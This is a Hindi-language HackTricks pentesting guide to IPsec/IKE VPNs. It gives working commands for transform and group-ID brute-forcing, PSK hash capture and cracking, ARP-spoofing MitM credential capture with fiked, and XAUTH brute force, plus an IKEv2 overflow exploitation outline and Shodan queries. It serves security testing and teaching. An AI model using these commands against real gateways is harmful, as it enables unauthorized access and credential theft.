500/udp - Pentesting IPsec/IKE VPN
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
बुनियादी जानकारी
IPsec व्यापक रूप से नेटवर्क्स के बीच (LAN-to-LAN) और रिमोट उपयोगकर्ताओं से नेटवर्क गेटवे तक (remote access) संचार को सुरक्षित करने वाली प्रमुख तकनीक के रूप में मान्यता प्राप्त है, जो enterprise VPN समाधानों की रीढ़ के रूप में कार्य करती है।
दो बिंदुओं के बीच एक security association (SA) की स्थापना IKE द्वारा प्रबंधित की जाती है, जो ISAKMP के अंतर्गत काम करता है — एक प्रोटोकॉल जो प्रमाणीकरण और कुंजी विनिमय के लिए डिज़ाइन किया गया है। यह प्रक्रिया कई चरणों में होती है:
- Phase 1: दो endpoints के बीच एक सुरक्षित चैनल बनाया जाता है। यह Pre-Shared Key (PSK) या certificates के उपयोग के माध्यम से हासिल किया जाता है, जिसमें या तो main mode (जिसमें तीन जोड़ी संदेश होते हैं) या aggressive mode का उपयोग किया जाता है।
- Phase 1.5: हालांकि अनिवार्य नहीं है, इस चरण को Extended Authentication Phase कहा जाता है, और यह कनेक्ट करने का प्रयास करने वाले उपयोगकर्ता की पहचान की पुष्टि करता है, जिसके लिए उपयोगकर्ता नाम और पासवर्ड की आवश्यकता होती है।
- Phase 2: यह चरण ESP और AH के साथ डेटा को सुरक्षित करने के लिए पैरामीटरों पर बातचीत करने के लिए समर्पित है। यह Phase 1 में उपयोग किए गए एल्गोरिदम से अलग एल्गोरिदम के उपयोग की अनुमति देता है ताकि Perfect Forward Secrecy (PFS) सुनिश्चित हो, जिससे सुरक्षा बढ़ती है।
Default port: 500/udp
आम तौर पर एक्सपोज़ भी: 4500/udp (NAT Traversal)
खोजें nmap का उपयोग करके सेवा
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
एक मान्य रूपांतरण खोजना
IPSec कॉन्फ़िगरेशन केवल एक या कुछ रूपांतरण स्वीकार करने के लिए तैयार किया जा सकता है। एक रूपांतरण मूल्यों का संयोजन होता है। प्रत्येक ट्रांसफ़ॉर्म में कई गुण होते हैं जैसे DES या 3DES को एन्क्रिप्शन एल्गोरिदम के रूप में, SHA या MD5 को इंटीग्रिटी एल्गोरिदम के रूप में, एक pre-shared key को प्रमाणीकरण प्रकार के रूप में, Diffie-Hellman 1 या 2 को कुंजी डिस्ट्रिब्यूशन एल्गोरिदम के रूप में और 28800 seconds को लाइफटाइम के रूप में।
तो, सबसे पहली चीज जो आपको करनी चाहिए वह है एक मान्य रूपांतरण खोजना, ताकि सर्वर आपके साथ बात करे। ऐसा करने के लिए, आप टूल ike-scan का उपयोग कर सकते हैं। डिफ़ॉल्ट रूप से, Ike-scan main mode में काम करता है, और एक ISAKMP हेडर के साथ गेटवे को एक पैकेट भेजता है और एक single proposal भेजता है जिसमें आठ ट्रांसफ़ॉर्म होते हैं।
रिस्पॉन्स के आधार पर आप endpoint के बारे में कुछ जानकारी प्राप्त कर सकते हैं:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
जैसा कि आप पिछले उत्तर में देख सकते हैं, एक फ़ील्ड है जिसका नाम AUTH और मान PSK है। इसका मतलब है कि vpn preshared key का उपयोग करके कॉन्फ़िगर है (और यह pentester के लिए वास्तव में अच्छा है)।
अंतिम पंक्ति का मान भी बहुत महत्वपूर्ण है:
- 0 returned handshake; 0 returned notify: यह दर्शाता है कि लक्ष्य IPsec gateway नहीं है।
- 1 returned handshake; 0 returned notify: इसका अर्थ है कि लक्ष्य IPsec के लिए कॉन्फ़игर है और IKE negotiation करने के लिए तैयार है, तथा आपके प्रस्तावित एक या अधिक transforms स्वीकार्य हैं (एक वैध transform आउटपुट में दिखाया जाएगा)।
- 0 returned handshake; 1 returned notify: VPN gateways तब notify message के साथ जवाब देते हैं जब किसी भी transforms स्वीकार्य नहीं होते (हालाँकि कुछ gateways ऐसा नहीं करते; ऐसे मामलों में आगे विश्लेषण और संशोधित प्रस्ताव आज़माना चाहिए)।
फिर, इस मामले में हमारे पास पहले से ही एक वैध transformation है, लेकिन यदि आप तीसरे मामले में हैं, तो आपको एक वैध transformation खोजने के लिए थोड़ा brute-force करना होगा:
सबसे पहले आपको सभी संभावित transformations बनानी होंगी:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
और फिर प्रत्येक पर ike-scan का उपयोग करके brute-force करें (इसमें कुछ मिनट लग सकते हैं):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
यदि brute-force काम नहीं कर रहा था, तो संभव है कि server valid transforms के लिए भी handshakes के बिना प्रतिक्रिया दे रहा हो। तब आप वही brute-force aggressive mode का उपयोग करके कोशिश कर सकते हैं:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
आशा है कि एक मान्य रूपांतरण वापस प्राप्त होगा.
आप iker.py का उपयोग करके वही attack आज़मा सकते हैं.
आप ikeforce के साथ brute force रूपांतरण भी आज़मा सकते हैं:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
.png)
In DH Group: 14 = 2048-bit MODP and 15 = 3072-bit
2 = HMAC-SHA = SHA1 (in this case). The --trans format is $Enc,$Hash,$Auth,$DH
Cisco संकेत देता है कि DH groups 1 और 2 का उपयोग न करें क्योंकि वे पर्याप्त मजबूत नहीं हैं। विशेषज्ञों का मानना है कि बहुत संसाधनशील देश इन कमजोर समूहों का उपयोग करने वाले डेटा के एन्क्रिप्शन को आसानी से तोड़ सकते हैं। यह एक विशेष विधि के उपयोग से किया जाता है जो उन्हें कोड जल्दी क्रैक करने के लिए तैयार करती है। हालांकि इस पद्धति को सेटअप करने में बहुत खर्च आता है, यह इन शक्तिशाली देशों को वास्तविक समय में एन्क्रिप्टेड डेटा पढ़ने में सक्षम बनाती है यदि यह कोई कमजोर समूह (जैसे 1,024-बिट या उससे छोटा) उपयोग कर रहा हो।
Server fingerprinting
फिर, आप ike-scan का उपयोग करके डिवाइस के vendor की खोज करने की कोशिश कर सकते हैं। टूल एक प्रारंभिक प्रस्ताव भेजता है और replay करना रोक देता है। फिर यह सर्वर से प्राप्त और मिलते हुए उत्तर पैटर्न के बीच के समय के अंतर का विश्लेषण करेगा; pentester सफलतापूर्वक VPN gateway vendor को fingerprint कर सकता है। इसके अलावा, कुछ VPN सर्वर IKE के साथ वैकल्पिक Vendor ID (VID) payload का उपयोग करेंगे।
आवश्यक होने पर मान्य transformation निर्दिष्ट करें (using –trans)
यदि IKE यह पता लगा ले कि vendor कौन है, तो यह उसे प्रिंट करेगा:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
This can be also achieve with nmap स्क्रिप्ट ike-version
IKEv2-विशिष्ट: WatchGuard Vendor ID version fingerprinting
कुछ IKEv2 daemons IKE_SA_INIT response में non-standard Vendor ID payloads शामिल करते हैं। WatchGuard Fireware OS VID के अंदर सीधे appliance version/build को encode करता है, जिससे single-packet, pre-auth fingerprinting संभव होता है।
- Transport: UDP/500 (and UDP/4500 for NAT-T)
- Packet: IKE_SA_INIT response contains one or more Vendor ID payloads
- WatchGuard format: 32-byte hash followed by base64 that decodes to e.g.
VN=12.11.3 BN=719894
Example raw bytes from a WatchGuard VID payload (last 12 bytes are base64):
00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807 ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243 Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d Tj03MTk4OTQ=
जब आपके पास base64 tail हो तो shell पर तुरंत निकालना:
echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894
नोट्स
- यह किसी भी IKEv2 RFC का हिस्सा नहीं है। इसे तेज़ स्कोपिंग के लिए एक vendor quirk के रूप में माना जाना चाहिए ताकि exposed/vulnerable Fireware OS versions की पहचान की जा सके।
- आपको केवल IKE_SA_INIT reply प्राप्त करने की आवश्यकता है; कोई authentication आवश्यक नहीं है।
सही ID (group name) खोजना
hash पकड़ने की अनुमति के लिए आपको Aggressive mode को सपोर्ट करने वाला एक valid transformation और सही ID (group name) चाहिए। आप संभवतः valid group name नहीं जानेंगे, इसलिए आपको इसे brute-force करना होगा.
इसके लिए, मैं आपको 2 तरीके सुझाऊँगा:
Bruteforcing ID with ike-scan
सबसे पहले एक fake ID के साथ request भेजकर hash (“-P”) इकट्ठा करने की कोशिश करें:
ike-scan -P -M -A -n fakeID <IP>
यदि कोई hash वापस नहीं किया जाता, तो शायद यह brute forcing तरीका काम करेगा। यदि कुछ hash वापस किया जाता है, तो इसका मतलब है कि fake ID के लिए fake hash भेजा जा रहा है, इसलिए यह तरीका ID को brute-force करने के लिए भरोसेमंद नहीं होगा। उदाहरण के लिए, एक fake hash वापस किया जा सकता है (यह modern versions में होता है):
.png)
लेकिन जैसा कि मैंने कहा, यदि कोई hash वापस नहीं किया जाता, तो आपको ike-scan का उपयोग करके सामान्य group names को brute-force करने की कोशिश करनी चाहिए।
यह script संभव IDs को brute-force करने की कोशिश करेगा और उन IDs को वापस करेगा जहाँ एक valid handshake लौटता है (यह एक valid group name होगा)।
यदि आपने कोई specific transformation खोजा है तो उसे ike-scan command में जोड़ें। और यदि आपने कई transformations खोजे हैं तो उन्हें सभी आज़माने के लिए नया loop जोड़ने में संकोच न करें (आपको उन्हें तब तक आज़माना चाहिए जब तक उनमें से कोई एक सही तरीके से काम करने न लगे)।
आप common group names को brute-force करने के लिए dictionary of ikeforce या the one in seclists का उपयोग कर सकते हैं:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Bruteforcing ID with Iker
iker.py भी ike-scan का उपयोग संभावित group names को bruteforce करने के लिए करता है। यह अपने तरीके का पालन करता है ताकि ike-scan के आउटपुट के आधार पर एक वैध ID पाया जा सके।
Bruteforcing ID with ikeforce
ikeforce.py एक ऐसा tool है जिसे IDs को भी brute force करने के लिए इस्तेमाल किया जा सकता है। यह tool विभिन्न vulnerabilities को exploit करने की कोशिश करेगा जिनका उपयोग वैध और गैर-वैध ID के बीच फर्क करने के लिए किया जा सकता है (false positives और false negatives हो सकते हैं, इसलिए मैं संभव होने पर ike-scan method का उपयोग करना पसंद करता हूँ)।
By default ikeforce शुरुआत में कुछ random ids भेजेगा ताकि server का व्यवहार चेक किया जा सके और इस्तेमाल करने की tactic निर्धारित की जा सके।
- The first method है group names को brute-force करने के लिए searching करना Cisco systems के Dead Peer Detection DPD की जानकारी के लिए (यह info केवल तब server द्वारा replay की जाती है जब group name सही होता है)।
- The second method उपलब्ध है जो हर कोशिश के लिए भेजे गए responses की संख्या की जांच करता है क्योंकि कभी-कभी सही id उपयोग किए जाने पर अधिक packets भेजे जाते हैं।
- The third method में शामिल है incorrect ID के जवाब में “INVALID-ID-INFORMATION” खोजना।
- Finally, अगर server checks को कुछ भी replay नहीं करता है, तो ikeforce server को brute force करने की कोशिश करेगा और चेक करेगा कि जब सही id भेजी जाती है तो server किसी packet के साथ replay करता है या नहीं.\
स्पष्ट रूप से, id को brute force करने का लक्ष्य valid id मिलने पर PSK प्राप्त करना है। फिर, id और PSK के साथ आपको XAUTH को bruteforce करना होगा (यदि यह enabled है)।
यदि आपने कोई specific transformation खोजी है तो उसे ikeforce command में जोड़ें। और यदि आपने कई transformations खोजे हैं तो उन्हें आज़माने के लिए एक नया loop जोड़ने में संकोच न करें (आपको उन सभी को तब तक आज़माना चाहिए जब तक उनमें से कोई एक सही तरीके से काम करने न लगे)।
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Sniffing ID
(From the book Network Security Assessment: Know Your Network): VPN client और server के बीच कनेक्शन को sniffing करके वैध उपयोगकर्ता नाम प्राप्त करना भी संभव है, क्योंकि पहला aggressive mode packet जिसमें client ID होता है, clear में भेजा जाता है
.png)
Aggressive Mode identity leakage
Aggressive Mode को ID जल्दी भेजनी होती है ताकि gateway सही PSK चुन सके जब multiple groups/users मौजूद हों। इसका मतलब है कि identity is exposed pre-auth, जबकि Main Mode में यह बाद के packets में encrypted रहती है। आप इसे जल्दी से extract कर सकते हैं:
ike-scan -A <IP>
# Look for: ID(Type=ID_USER_FQDN, Value=ike@corp.tld)
यदि Aggressive Mode सक्रिय है, तो एक crackable PSK handshake capture करें और उसे offline में crack करें (hashcat mode 5400):
ike-scan -A --pskcrack=handshake.txt <IP>
hashcat -m 5400 handshake.txt /path/to/wordlist.txt
पाए गए PSKs अक्सर अन्य सेवाओं (SSH, VPN client auth) के लिए प्रमाण-पत्र के रूप में दोबारा उपयोग किए जाते हैं, इसलिए उन्हें उजागर सेवाओं के खिलाफ परखें।
हैश को कैप्चर और क्रैक करना
अंत में, यदि आपको valid transformation और group name मिल गए हैं और aggressive mode की अनुमति है, तो आप बहुत आसानी से crackable hash प्राप्त कर सकते हैं:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
यह hash hash.txt के अंदर सहेजा जाएगा।
आप psk-crack, john (ikescan2john.py का उपयोग करते हुए) और hashcat का उपयोग करके hash को crack कर सकते हैं:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Aggressive mode IKE को Pre-Shared Key (PSK) के साथ जोड़ा जाना आमतौर पर समूह प्रमाणीकरण के उद्देश्यों के लिए उपयोग किया जाता है। इस विधि को XAuth (Extended Authentication) द्वारा बढ़ाया जाता है, जो एक अतिरिक्त स्तर का उपयोगकर्ता प्रमाणीकरण प्रदान करता है। ऐसा प्रमाणीकरण सामान्यतः Microsoft Active Directory, RADIUS, या इसी तरह की प्रणालियों का उपयोग करता है।
IKEv2 की ओर संक्रमण में एक महत्वपूर्ण बदलाव देखा जाता है जहाँ उपयोगकर्ताओं को प्रमाणित करने के लिये XAuth के स्थान पर EAP (Extensible Authentication Protocol) का उपयोग किया जाता है। यह बदलाव सुरक्षित संचार प्रोटोकॉल में प्रमाणीकरण प्रथाओं के विकास को दर्शाता है।
स्थानीय नेटवर्क MitM से credentials कैप्चर करना
इसलिए आप लॉगिन का डेटा fiked का उपयोग करके कैप्चर कर सकते हैं और देख सकते हैं कि कोई डिफ़ॉल्ट username है या नहीं (आपको sniffing के लिए IKE ट्रैफ़िक को fiked पर रीडायरेक्ट करना होगा, जिसे ARP spoofing की मदद से किया जा सकता है, more info). Fiked एक VPN endpoint के रूप में कार्य करेगा और XAuth credentials को कैप्चर करेगा:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
Also, using IPSec try to make a MitM attack and block all traffic to port 500, if the IPSec tunnel cannot be established maybe the traffic will be sent in clear.
Brute-forcing XAUTH username ad password with ikeforce
XAUTH को brute force करने के लिए (जब आप एक वैध group name id और psk जानते हों) आप एक username या usernames की सूची और passwords की एक सूची इस्तेमाल कर सकते हैं:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
इस तरह, ikeforce हर username:password संयोजन का उपयोग करके कनेक्ट करने का प्रयास करेगा।
यदि आपने एक या कई मान्य transforms पाए हैं, तो उन्हें पिछले चरणों की तरह इस्तेमाल करें।
IPSEC VPN के साथ प्रमाणीकरण
Kali में, VPNC का उपयोग IPsec टनल स्थापित करने के लिए किया जाता है। profiles को डिरेक्टरी /etc/vpnc/ में स्थित होना चाहिए। आप इन profiles को कमांड vpnc का उपयोग करके प्रारंभ कर सकते हैं।
निम्नलिखित कमांड और कॉन्फ़िगरेशन VPNC के साथ VPN कनेक्शन सेटअप करने की प्रक्रिया को दर्शाते हैं:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
In this setup:
- Replace
[VPN_GATEWAY_IP]with the actual IP address of the VPN gateway. - Replace
[VPN_CONNECTION_ID]with the identifier for the VPN connection. - Replace
[VPN_GROUP_SECRET]with the VPN’s group secret. - Replace
[VPN_USERNAME]and[VPN_PASSWORD]with the VPN authentication credentials. [PID]symbolizes the process ID that will be assigned whenvpncinitiates.
Ensure that actual, secure values are used to replace the placeholders when configuring the VPN.
IKEv2 शोषण नोट्स: pre-auth IDi/CERT प्रोसेसिंग बग्स
Modern VPN appliances अक्सर IKEv2 को UDP/500 (और NAT-T के लिए UDP/4500) पर एक्सपोज़ करते हैं। एक सामान्य pre-authentication attack surface IKE_SA_AUTH के दौरान Identification (IDi) और Certificate payloads की parsing है।
जब कोई vulnerable IKEv2 parser मौजूद हो तो high-level exploitation flow:
- Send a valid IKE_SA_INIT to negotiate transforms and complete Diffie–Hellman.
- Follow with IKE_SA_AUTH carrying an IDi that triggers the bug (e.g., an oversized Identification copied into a fixed-size stack buffer before certificate validation).
- Resulting memory corruption can yield saved-register and return-address control.
- With NX enabled but other mitigations missing (no PIE/canaries), build a ROP chain to call mprotect on a stack page and then pivot execution to injected shellcode or to a resident interpreter (e.g., /usr/bin/python3) if no /bin/sh is available.
Example default transforms observed on some IKEv2 appliances (WatchGuard Fireware OS 12.11.3):
- SHA2-256–AES(256-bit) with DH Group 14
- SHA1–AES(256-bit) with DH Group 5
- SHA1–AES(256-bit) with DH Group 2
- SHA1–3DES with DH Group 2
व्यावहारिक सुझाव
- Target both UDP/500 and UDP/4500; NAT-T servers may reply only on 4500.
- Increase receive buffer and timeouts for UDP-based scanners to avoid packet loss.
- If the service exposes custom Vendor IDs (see section above), use them to quickly fingerprint vulnerable versions before attempting any exploit traffic.
Reference Material
- PSK cracking paper
- SecurityFocus Infocus
- Scanning a VPN Implementation
- Network Security Assessment 3rd Edition
Shodan
port:500 IKEport:4500 "UDP"udp port:500,4500 "WatchGuard"
References
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


